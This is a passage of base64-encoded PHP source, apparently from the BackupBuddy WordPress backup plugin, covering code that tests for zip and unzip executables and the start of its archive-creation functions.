4gYXJyYXkoICJmaWxlIiwgIi9kZXYvbnVsbCIsICJhIiApCQoJCQkJCSk7CgkJCQkJCgkJCQkJJHByb2Nlc3MgPSBOVUxMOyAvLyBNYXliZSBpdCBkb2Vzbid0IHdvcmsKCQkJCQkKCQkJCQkkcHJvY2VzcyA9IEBwcm9jX29wZW4oICRjb21tYW5kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyApOwoJCQkJCQoJCQkJCWlmICggaXNfcmVzb3VyY2UoICRwcm9jZXNzICkgKSB7CgkJCQkJCgkJCQkJCWZjbG9zZSggJHBpcGVzWzBdICk7IC8vIE5ldmVyIHdhbnQgdG8gc2VuZCBpbnB1dCBzbyBqdXN0IGNsb3NlIGl0CgkJCQkJCQoJCQkJCQkkcHN0YXR1cyA9IHByb2NfZ2V0X3N0YXR1cyggJHByb2Nlc3MgKTsKCQkJCQkJCgkJCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvbmx5IGRvIDQgbG9vcCBtYXgKCQkJCQkJJGNvdW50ID0gMDsKCQkJCQkJCgkJCQkJCXdoaWxlICggdHJ1ZSA9PSAkcHN0YXR1c1sgJ3J1bm5pbmcnXSAmJiAoICRjb3VudCsrIDwgNCApICkgewoJCQkJCQkJdXNsZWVwKCA1MDAwMDAgKTsKCQkJCQkJCSRwc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCQl9CgkJCQkJCQoJCQkJCQlpZiAoIHRydWUgPT09ICRwc3RhdHVzWyAncnVubmluZycgXSApIHsKCQkJCQkJCS8vIEhtbSwgc2hvdWxkbid0IHN0aWxsIGJlIHJ1bm5pbmcsIHRyeSB0byBraWxsIGl0IGFuZCBtb3ZlIG9uCgkJCQkJCQlAcHJvY190ZXJtaW5hdGUoICRwcm9jZXNzICk7CgkJCQkJCQkKCQkJCQkJCS8vIEdldCBzdGF0dXMgYWdhaW4gYW5kIHNlZSBpZiBub3cgbm90IHJ1bm5pbmcsIGlmIHNvIGdldCBleGl0IGNvZGUKCQkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCS8vIFByb2Nlc3MgZmluaXNoZWQgbm9ybWFsbHkgc28gZ2V0IGV4aXQgY29kZSBmb3IgcG9zc2libGUgdXNlCgkJCQkJCQkkZXhlY19leGl0X2NvZGUgPSAkcHN0YXR1c1sgJ2V4aXRjb2RlJyBdOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCS8vIElnbm9yZSBhbnkgY2xvc2UgaXNzdWUsIHNob3VsZG4ndCBnZXQgc3R1Y2sgaGVyZSBidXQgaXQgaXMgcG9zc2libGUgaWYKCQkJCQkJLy8gd2UgcHJvY2VzcyB3YXMgc3RpbGwgcnVubmluZyBhbmQgd2UgZmFpbGVkIHRvIHRlcm1pbmF0ZSBpdCAtIHRyaWNreSBvbmUKCQkJCQkJLy8gdG8gb3ZlcmNvbWUgYnV0IF9zaG91bGRfIGJlIHJhcmUKCQkJCQkJQHByb2NfY2xvc2UoICRwcm9jZXNzICk7CgkJCQkJCQoJCQkJCQkvLyBNdXN0IGhhdmUgYm90aCBhIGZpbGUgYW5kIGEgc3VjY2VzcyBleGl0IGNvZGUgdG8gY29uc2lkZXIgdGhpcyBzdWNjZXNzZnVsCgkJCQkJCWlmICggQGZpbGVfZXhpc3RzKCAkdGVzdF9maWxlICkgJiYgKCAwID09PSAkZXhlY19leGl0X2NvZGUgKSApIHsKCQkJCQoJCQkJCQkJLy8gU2V0IHRoZSBwYXJhbWV0ZXIgdG8gYmUgcmVtZW1iZXJlZCAobm90ZTogcGF0aCB3aXRob3V0IHRyYWlsaW5nIHNsYXNoKQoJCQkJCQkJJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSA9ICRwYXRoOwoJCQkJCQkJCgkJCQkJCQkvLyBUaGUgemlwIG9wZXJhdGlvbiB3YXMgc3VjY2Vzc2Z1bCBzbyB3ZSBjYW4gYXQgbGVhc3QgemlwIGFuZCBhcmNoaXZlCgkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX3ppcHBlcicgXSA9IHRydWU7CgkJCQkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAnYXR0cicgXVsgJ2lzX2FyY2hpdmVyJyBdID0gdHJ1ZTsKCQkJCQkJCQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyB0ZXN0ICh6aXApIFBBU1NFRC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkKCQkJCQkJCS8vIFRPRE86IENvbnNpZGVyIHBhcnNpbmcgemlwIGZpbGUgdG8gZ2V0IHZlcnNpb24gb2YgemlwIHRoYXQgY3JlYXRlZCBpdC4gVGhpcyBtYXkgc2VlbSBvZGQKCQkJCQkJCS8vIGJ1dCBwcmUtdjMgemlwIGl0J3Mgbm90IHBvc3NpYmxlIHRvIHJ1biAiemlwIC12IiB0aHJvdWdoIGV4ZWMoKSBvciBlcXVpdmFsZW50IGFzIGl0IG9ubHkKCQkJCQkJCS8vIHByb3ZpZGVzIHRoZSByZXF1aXJlZCBvdXRwdXQgaWYgYSB0dHkgaXMgYXR0YWNoZWQsIG90aGVyd2lzZSBpdCBjcmVhdGVzIGEgemlwIGZpbGUuIFdlCgkJCQkJCQkvLyBtaWdodCBjb25zaWRlciBwYXJzaW5nIHRoZSBjcmVhdGVkIHppcCBmaWxlIGJ1dCBhcyB3ZSBoYXZlIGFscmVhZHkgY3JlYXRlZCBvbmUgaGVyZSB3ZQoJCQkJCQkJLy8gbWlnaHQgYXMgd2VsbCB1c2UgaXQKCQkJCQkJCQoJCQkJCQkJLy8gVGhpcyB3aWxsIGJyZWFrIHVzIG91dCBvZiB0aGUgbG9vcAoJCQkJCQkJJGZvdW5kX3ppcCA9IHRydWU7CgkJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJCS8vIERlYWwgd2l0aCB0aGUgcG9zc2libGUgZmFpbHVyZSBjYXVzZXMKCQkJCQkJCWlmICggIUBmaWxlX2V4aXN0cyggJHRlc3RfZmlsZSApICkgewoJCQkJCQkJCgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyB0ZXN0ICh6aXApIEZBSUxFRDogVGVzdCB6aXAgZmlsZSBub3QgZm91bmQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkJCgkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCWlmICggMCA9PT0gJGV4ZWNfZXhpdF9jb2RlICkgewoJCQkJCQkJCgkJCQkJCQkJJGVycm9yX3N0cmluZyA9ICRleGVjX2V4aXRfY29kZTsKCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQcm9jIHRlc3QgKHppcCkgRkFJTEVEOiBwcm9jIEV4aXQgQ29kZTogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9zdHJpbmcgKTsKCQkJCQkJCQkKCQkJCQkJCX0KCQkJCQkJCQoJCQkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCQkvLyBSZW1vdmUgdGhlIHRlc3QgemlwIGZpbGUgaWYgaXQgd2FzIGNyZWF0ZWQKCQkJCQkJaWYgKCBAZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQkJCgkJCQkJCQlpZiAoICFAdW5saW5rKCAkdGVzdF9maWxlICkgKSB7CgkJCQkJCgkJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnUHJvYyB0ZXN0ICh6aXApIHVuYWJsZSB0byBkZWxldGUgdGVzdCBmaWxlICglcyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkdGVzdF9maWxlICkgKTsKCQkJCQkJCgkJCQkJCQl9CgkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyB0ZXN0IEZBSUxFRDogVW5hYmxlIHRvIGNyZWF0ZSB0ZXN0IHppcCBmaWxlIHByb2Nlc3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9CgkJCQkKCQkJCWlmICggZmFsc2UgPT0gJGZvdW5kX3ppcCApIHsKCQkJCQoJCQkJCS8vIE5ldmVyIGZvdW5kIHppcCBvbiBhbnkgY2FuZGlkYXRlIHBhdGgKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQcm9jIHRlc3QgRmFpbGVkOiBVbmFibGUgdG8gZmluZCB6aXAgZXhlY3V0YWJsZSBvbiBhbnkgc3BlY2lmaWVkIHBhdGguJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCQkJCQoJCQkJfQoJCQkJCSAgCgkJCQkvLyBSZW1lbWJlciB6aXAgcmVzdWx0IGFuZCByZXNldCBmb3IgdW56aXAgdGVzdAoJCQkJJHBlbmRpbmdfcmVzdWx0ID0gJHJlc3VsdDsKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQoJCQkJLy8gU2VlIGlmIHdlIGNhbiBkZXRlcm1pbmUgemlwIHZlcnNpb24gYW5kIHBvc3NpYmx5IGF2YWlsYWJsZSBvcHRpb25zLiBUaGlzIGNhbiBoZWxwIHVzCgkJCQkvLyBkZXRlcm1pbmUgaG93IHRvIGV4ZWN1dGUgb3BlcmF0aW9ucyBzdWNoIGFzIGNyZWF0aW5nIGEgemlwIGZpbGUKCQkJCWlmICggdHJ1ZSA9PT0gJGZvdW5kX3ppcCApIHsKCQkJCQoJCQkJCSR0aGlzLT5zZXRfemlwX3ZlcnNpb24oKTsKCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBSZXNldCB0aGUgY2FuZGlkYXRlIHBhdGhzIGZvciBhIGZ1bGwgc2VhcmNoIGZvciB1bnppcAoJCQkJJGNhbmRpZGF0ZV9wYXRocyA9ICR0aGlzLT5fZXhlY3V0YWJsZV9wYXRoczsKCQkJCQkJICAKCQkJCS8vIFJlc2V0IHRoZSBzYWZldHkgdmFsdWUgaW4gY2FzZQoJCQkJJGV4ZWNfZXhpdF9jb2RlID0gMTI3OwoJCQkJCgkJCQkvLyBOZXcgc2VhcmNoCgkJCQkkZm91bmRfemlwID0gZmFsc2U7CgkJCQkKCQkJCS8vIE5lZWQgdG8gY3JlYXRlIGEgdGVzdCB6aXAgZmlsZSAtIGhlcmUncyBvbmUgSSBwcmVwYXJlZCBlYXJsaWVyCgkJCQkvLyBjb250YWluaW5nIHRoZSBvbmUgZmlsZSB0ZXN0LnR4dCAod2l0aCBjb250ZW50ICJIZWxsbyBXb3JsZCIpCgkJCQkvLyBDYW4gdXNlIHRoaXMgZm9yIGFsbCBjYXNlIHRlc3RzIGFuZCBkZWxldGUgYXQgZW5kCgkJCQkkdGVzdF9maWxlID0gJHRlbXBkaXIgLiAndGVtcF90ZXN0XycgLiB1bmlxaWQoKSAuICcuemlwJzsKCQkJCUBmaWxlX3B1dF9jb250ZW50cyggJHRlc3RfZmlsZSwgYmFzZTY0X2RlY29kZSggIlVFc0RCQW9BQUFBQUFDOEVMVUhqNVpXd0RBQUFBQXdBQUFBSUFCd0FkR1Z6ZEM1MGVIUlZWQWtBQThvYlVWRGpHMUZRZFhnTEFBRUUrQUVBQUFRVUFBQUFTR1ZzYkc4Z1YyOXliR1FLVUVzQkFoNERDZ0FBQUFBQUx3UXRRZVBsbGJBTUFBQUFEQUFBQUFnQUdBQUFBQUFBQVFBQUFLU0JBQUFBQUhSbGMzUXVkSGgwVlZRRkFBUEtHMUZRZFhnTEFBRUUrQUVBQUFRVUFBQUFVRXNGQmdBQUFBQUJBQUVBVGdBQUFFNEFBQUFBQUE9PSIgKSApOwoKCQkJCS8vIFdlIGFyZSBzZWFyY2hpbmcgZm9yIHppcCB1c2luZyB0aGUgbGlzdCBvZiBwb3NzaWJsZSBwYXRocwoJCQkJd2hpbGUgKCAoIGZhbHNlID09ICRmb3VuZF96aXAgKSAmJiAoICFlbXB0eSggJGNhbmRpZGF0ZV9wYXRocyApICkgKSB7CgkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgaXQgaXMgY2xlYW4gb2YgbGVhZGluZy90cmFpbGluZyB3aGl0ZXNwYWNlCgkJCQkJJHBhdGggPSB0cmltKCBhcnJheV9zaGlmdCggJGNhbmRpZGF0ZV9wYXRocyApICk7CgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdUcnlpbmcgZXhlY3V0YWJsZSBwYXRoIGZvciB1bnppcDonLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyBgJyAuICRwYXRoIC4gJ2AuJyApOwoJCQkJCQoJCQkJCSRjb21tYW5kID0gJ2V4ZWMgJyAuICR0aGlzLT5zbGFzaGlmeSggJHBhdGggKSAuICd1bnppcCAtcXQgJyAuICcgIicgLiAkdGVzdF9maWxlIC4gJyIgInRlc3QudHh0Iic7CgkKCQkJCQkkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgKCQkJCQkJMCA9PiBhcnJheSggInBpcGUiLCAiciIgKSwKCQkJCQkJMSA9PiBhcnJheSggImZpbGUiLCAiL2Rldi9udWxsIiwgImEiICksCgkJCQkJCTIgPT4gYXJyYXkoICJmaWxlIiwgIi9kZXYvbnVsbCIsICJhIiApCQoJCQkJCSk7CgkJCQkJCgkJCQkJJHByb2Nlc3MgPSBOVUxMOyAvLyBNYXliZSBpdCBkb2Vzbid0IHdvcmsKCQkJCQkKCQkJCQkkcHJvY2VzcyA9IEBwcm9jX29wZW4oICRjb21tYW5kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyApOwoJCQkJCQoJCQkJCWlmICggaXNfcmVzb3VyY2UoICRwcm9jZXNzICkgKSB7CgkJCQkJCgkJCQkJCWZjbG9zZSggJHBpcGVzWzBdICk7IC8vIE5ldmVyIHdhbnQgdG8gc2VuZCBpbnB1dCBzbyBqdXN0IGNsb3NlIGl0CgkJCQkJCQoJCQkJCQkkcHN0YXR1cyA9IHByb2NfZ2V0X3N0YXR1cyggJHByb2Nlc3MgKTsKCQkJCQkJCgkJCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvbmx5IGRvIDQgbG9vcCBtYXgKCQkJCQkJJGNvdW50ID0gMDsKCQkJCQkJCgkJCQkJCXdoaWxlICggdHJ1ZSA9PSAkcHN0YXR1c1sgJ3J1bm5pbmcnXSAmJiAoICRjb3VudCsrIDwgNCApICkgewoJCQkJCQkJdXNsZWVwKCA1MDAwMDAgKTsKCQkJCQkJCSRwc3RhdHVzID0gcHJvY19nZXRfc3RhdHVzKCAkcHJvY2VzcyApOwoJCQkJCQl9CgkJCQkJCQoJCQkJCQlpZiAoIHRydWUgPT09ICRwc3RhdHVzWyAncnVubmluZycgXSApIHsKCQkJCQkJCS8vIEhtbSwgc2hvdWxkbid0IHN0aWxsIGJlIHJ1bm5pbmcsIHRyeSB0byBraWxsIGl0IGFuZCBtb3ZlIG9uCgkJCQkJCQlAcHJvY190ZXJtaW5hdGUoICRwcm9jZXNzICk7CgkJCQkJCQkKCQkJCQkJCS8vIEdldCBzdGF0dXMgYWdhaW4gYW5kIHNlZSBpZiBub3cgbm90IHJ1bm5pbmcsIGlmIHNvIGdldCBleGl0IGNvZGUKCQkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCS8vIFByb2Nlc3MgZmluaXNoZWQgbm9ybWFsbHkgc28gZ2V0IGV4aXQgY29kZSBmb3IgcG9zc2libGUgdXNlCgkJCQkJCQkkZXhlY19leGl0X2NvZGUgPSAkcHN0YXR1c1sgJ2V4aXRjb2RlJyBdOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCS8vIElnbm9yZSBhbnkgY2xvc2UgaXNzdWUsIHNob3VsZG4ndCBnZXQgc3R1Y2sgaGVyZSBidXQgaXQgaXMgcG9zc2libGUgaWYKCQkJCQkJLy8gd2UgcHJvY2VzcyB3YXMgc3RpbGwgcnVubmluZyBhbmQgd2UgZmFpbGVkIHRvIHRlcm1pbmF0ZSBpdCAtIHRyaWNreSBvbmUKCQkJCQkJLy8gdG8gb3ZlcmNvbWUgYnV0IF9zaG91bGRfIGJlIHJhcmUKCQkJCQkJQHByb2NfY2xvc2UoICRwcm9jZXNzICk7CgkJCQkJCQoJCQkJCQlpZiAoICRleGVjX2V4aXRfY29kZSA9PSAwICkgewoJCQkJCQkKCQkJCQkJCS8vIFNldCB0aGUgcGFyYW1ldGVyIHRvIGJlIHJlbWVtYmVyZWQgKG5vdGU6IHBhdGggd2l0aG91dCB0cmFpbGluZyBzbGFzaCkKCQkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3VuemlwJyBdWyAncGF0aCcgXSA9ICRwYXRoOwoJCQkJCQkJCgkJCQkJCQkvLyBUaGUgdW56aXAgb3BlcmF0aW9uIHdhcyBzdWNjZXNzZnVsIHNvIHdlIGNhbiBhdCBsZWFzdCB1bnppcAoJCQkJCQkJLy8gTm90ZTogd2UgZG8gbm90IHdhbnQgdG8gdXNlIHRoaXMgZm9yIGNoZWNraW5nIHlldAkKCQkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdhdHRyJyBdWyAnaXNfdW56aXBwZXInIF0gPSB0cnVlOwoJCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1Byb2MgdGVzdCAodW56aXApIFBBU1NFRC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJCQoJCQkJCQkJLy8gVGhpcyB3aWxsIGJyZWFrIHVzIG91dCBvZiB0aGUgbG9vcAoJCQkJCQkJJGZvdW5kX3ppcCA9IHRydWU7CgkJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQkkZXJyb3Jfc3RyaW5nID0gJGV4ZWNfZXhpdF9jb2RlOwoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyB0ZXN0ICh1bnppcCkgRkFJTEVEOiBUZXN0IHVuemlwIGZpbGUgdGVzdCBmYWlsZWQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyBFeGl0IENvZGU6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZXJyb3Jfc3RyaW5nICk7CgkJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQoJCQkJCQl9CgkJCQkJCQoJCQkJCX0gZWxzZSB7CgkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1Byb2MgdGVzdCBGQUlMRUQ6IFVuYWJsZSB0byBjcmVhdGUgdGVzdCB1bnppcCBmaWxlIHByb2Nlc3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIFJlbW92ZSB0aGUgdGVzdCB6aXAgZmlsZSBpZiBpdCB3YXMgY3JlYXRlZAoJCQkJaWYgKCBAZmlsZV9leGlzdHMoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCQoJCQkJCWlmICggIUB1bmxpbmsoICR0ZXN0X2ZpbGUgKSApIHsKCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1Byb2MgdGVzdCAodW56aXApIHVuYWJsZSB0byBkZWxldGUgdGVzdCBmaWxlICglcyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkdGVzdF9maWxlICkgKTsKCQkJCQoJCQkJCX0KCQkJCgkJCQl9CgkJCQoJCQkJLy8gSWYgd2UgZGlkbid0IGZpbmQgdW56aXAgYW55d2hlcmUgKG9yIG1heWJlIGZvdW5kIGl0IGJ1dCBpdCBmYWlsZWQpIHRoZW4gbG9nIGl0CgkJCQlpZiAoIGZhbHNlID09ICRmb3VuZF96aXAgKSB7CgkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdQcm9jIHRlc3QgRmFpbGVkOiBVbmFibGUgdG8gZmluZCB1bnppcCBleGVjdXRhYmxlIG9uIGFueSBzcGVjaWZpZWQgcGF0aC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCQkJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gU2VlIGlmIHdlIGNhbiBkZXRlcm1pbmUgdW56aXAgdmVyc2lvbiBhbmQgcG9zc2libHkgYXZhaWxhYmxlIG9wdGlvbnMuIFRoaXMgY2FuIGhlbHAgdXMKCQkJCQkvLyBkZXRlcm1pbmUgaG93IHRvIGV4ZWN1dGUgb3BlcmF0aW9ucyBzdWNoIGFzIHVuemlwcGluZyBhIGZpbGUKCQkJCQkKCQkJCQkkdGhpcy0+c2V0X3VuemlwX3ZlcnNpb24oKTsKCQkJCQoJCQkJfQoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUHJvYyB0ZXN0IEZBSUxFRDogT25lIG9yIG1vcmUgcmVxdWlyZWQgZnVuY3Rpb24gZG8gbm90IGV4aXN0LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkgIAoJCQl9CgkJICAJCgkJICAJLy8gSWYgd2UgZm91bmQgYm90aCB6aXAgYW5kIHVuemlwIHRoZW4gY29tcGFyZSB0aGUgcGF0aHMgYW5kIGlmIHRoZSBzYW1lIHRoZW4gc2V0IHRoZSBjb21tb24gcGF0aAoJCSAgCWlmICggJHBlbmRpbmdfcmVzdWx0ICYmICRyZXN1bHQgKSB7CgkJICAJCgkJICAJCWlmICggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSA9PT0gJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICdwYXRoJyBdICkgewoJCSAgCQkKCQkgIAkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gPSAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICdwYXRoJyBdOwoJCSAgCQkJCgkJICAJCX0KCQkgIAkJCgkJICAJfQoJCSAgCQoJCSAgCS8vIE91ciByZXN1bHQgd2lsbCBiZSB0cnVlIGlmIHdlIGZvdW5kIGVpdGhlciBvciBib3RoIG9mIHppcCBhbmQgdW56aXAKCQkgIAkvLyBUaGUgbWV0aG9kIGF0dHJpYnV0ZXMgd2lsbCB0ZWxsIHdoaWNoIGlzIGF2YWlsYWJsZQoJCSAgCSRyZXN1bHQgPSAoICRwZW5kaW5nX3Jlc3VsdCB8fCAkcmVzdWx0ICk7CgkJICAJCgkJICAJcmV0dXJuICRyZXN1bHQ7CgkJICAJCgkJfQoJCQoJCS8qKgoJCSAqCWNyZWF0ZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IGNyZWF0ZXMgYW4gYXJjaGl2ZSBmaWxlCgkJICoJQWx3YXlzIGNsZWFucyB1cCBhZnRlciBpdHNlbGYKCQkgKgkKCQkgKglUaGUgJGV4Y2x1ZGVzIHdpbGwgYmUgYSBsaXN0IG9yIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgaWYgdGhlICRsaXN0bWFrZXIgb2JqZWN0IGlzIE5VTEwgb3RlaHJ3aXNlCgkJICoJd2lsbCBiZSBhYnNvbHV0ZSBwYXRoIGV4Y2x1ZGVzIGFuZCByZWxhdGl2ZSBwYXRoIGV4Y2x1ZGVzIGNhbiBiZSBoYWQgZnJvbSB0aGUgJGxpc3RtYWtlciBvYmplY3QKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBjcmVhdGUKCQkgKglAcGFyYW0JCXN0cmluZwkkZGlyCQkJRnVsbCBwYXRoIG9mIGRpcmVjdG9yeSB0byBhZGQgdG8gWklQIEFyY2hpdmUgZmlsZQoJCSAqCUBwYXJhbWUJCWFycmF5CSRleGNsdWRlcwkJTGlzdCBvZiBlaXRoZXIgYWJzb2x1dGUgcGF0aCBleGNsdXNpb25zIG9yIHJlbGF0aXZlIGV4Y2x1c2lvbnMKCQkgKglAcGFyYW0JCXN0cmluZwkkdGVtcGRpcgkJRnVsbCBwYXRoIG9mIGRpcmVjdG9yeSBmb3IgdGVtcG9yYXJ5IHVzYWdlCgkJICoJQHBhcmFtCQlvYmplY3QJJGxpc3RtYWtlcgkJVGhlIG9iamVjdCBmcm9tIHdoaWNoIHdlIGNhbiBnZXQgYW4gaW5jbHVzaW9ucyBsaXN0CgkJICoJQHJldHVybgkJYm9vbAkJCQkJVHJ1ZSBpZiB0aGUgY3JlYXRpb24gd2FzIHN1Y2Nlc3NmdWwsIGZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGNyZWF0ZSggJHppcCwgJGRpciwgJGV4Y2x1ZGVzLCAkdGVtcGRpciwgJGxpc3RtYWtlciA9IE5VTEwgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCgkJCXN3aXRjaCAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgewoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX05JWDoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmNyZWF0ZV9saW51eCggJHppcCwgJGRpciwgJGV4Y2x1ZGVzLCAkdGVtcGRpciwgJGxpc3RtYWtlciApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmNyZWF0ZV93aW5kb3dzKCAkemlwLCAkZGlyLCAkZXhjbHVkZXMsICR0ZW1wZGlyLCAkbGlzdG1ha2VyICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkJCgkJLyoqCgkJICoJY3JlYXRlX3dpbmRvd3MoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBjcmVhdGVzIGFuIGFyY2hpdmUgZmlsZSBvbiBMaW51eAoJCSAqCUFsd2F5cyBjbGVhbnMgdXAgYWZ0ZXIgaXRzZWxmCgkJICoKCQkgKglUaGUgJGV4Y2x1ZGVzIHdpbGwgYmUgYSBsaXN0IG9yIHJlbGF0aXZlIHBhdGggZXhjbHVkZXMgaWYgdGhlICRsaXN0bWFrZXIgb2JqZWN0IGlzIE5VTEwgb3RlaHJ3aXNlCgkJICoJd2lsbCBiZSBhYnNvbHV0ZSBwYXRoIGV4Y2x1ZGVzIGFuZCByZWxhdGl2ZSBwYXRoIGV4Y2x1ZGVzIGNhbiBiZSBoYWQgZnJvbSB0aGUgJGxpc3RtYWtlciBvYmplY3QKCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkkemlwCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIEFyY2hpdmUgZmlsZSB0byBjcmVhdGUKCQkgKglAcGFyYW0JCXN0cmluZwkkZGlyCQkJRnVsbCBwYXRoIG9mIGRpcmVjdG9yeSB0byBhZGQgdG8gWklQIEFyY2hpdmUgZmlsZQoJCSAqCUBwYXJhbWUJCWFycmF5CSRleGNsdWRlcwkJTGlzdCBvZiBlaXRoZXIgYWJzb2x1dGUgcGF0aCBleGNsdXNpb25zIG9yIHJlbGF0aXZlIGV4Y2x1c2lvbnMKCQkgKglAcGFyYW0JCXN0cmluZwkkdGVtcGRpcgkJRnVsbCBwYXRoIG9mIGRpcmVjdG9yeSBmb3IgdGVtcG9yYXJ5IHVzYWdlCgkJICoJQHBhcmFtCQlvYmplY3QJJGxpc3RtYWtlcgkJVGhlIG9iamVjdCBmcm9tIHdoaWNoIHdlIGNhbiBnZXQgY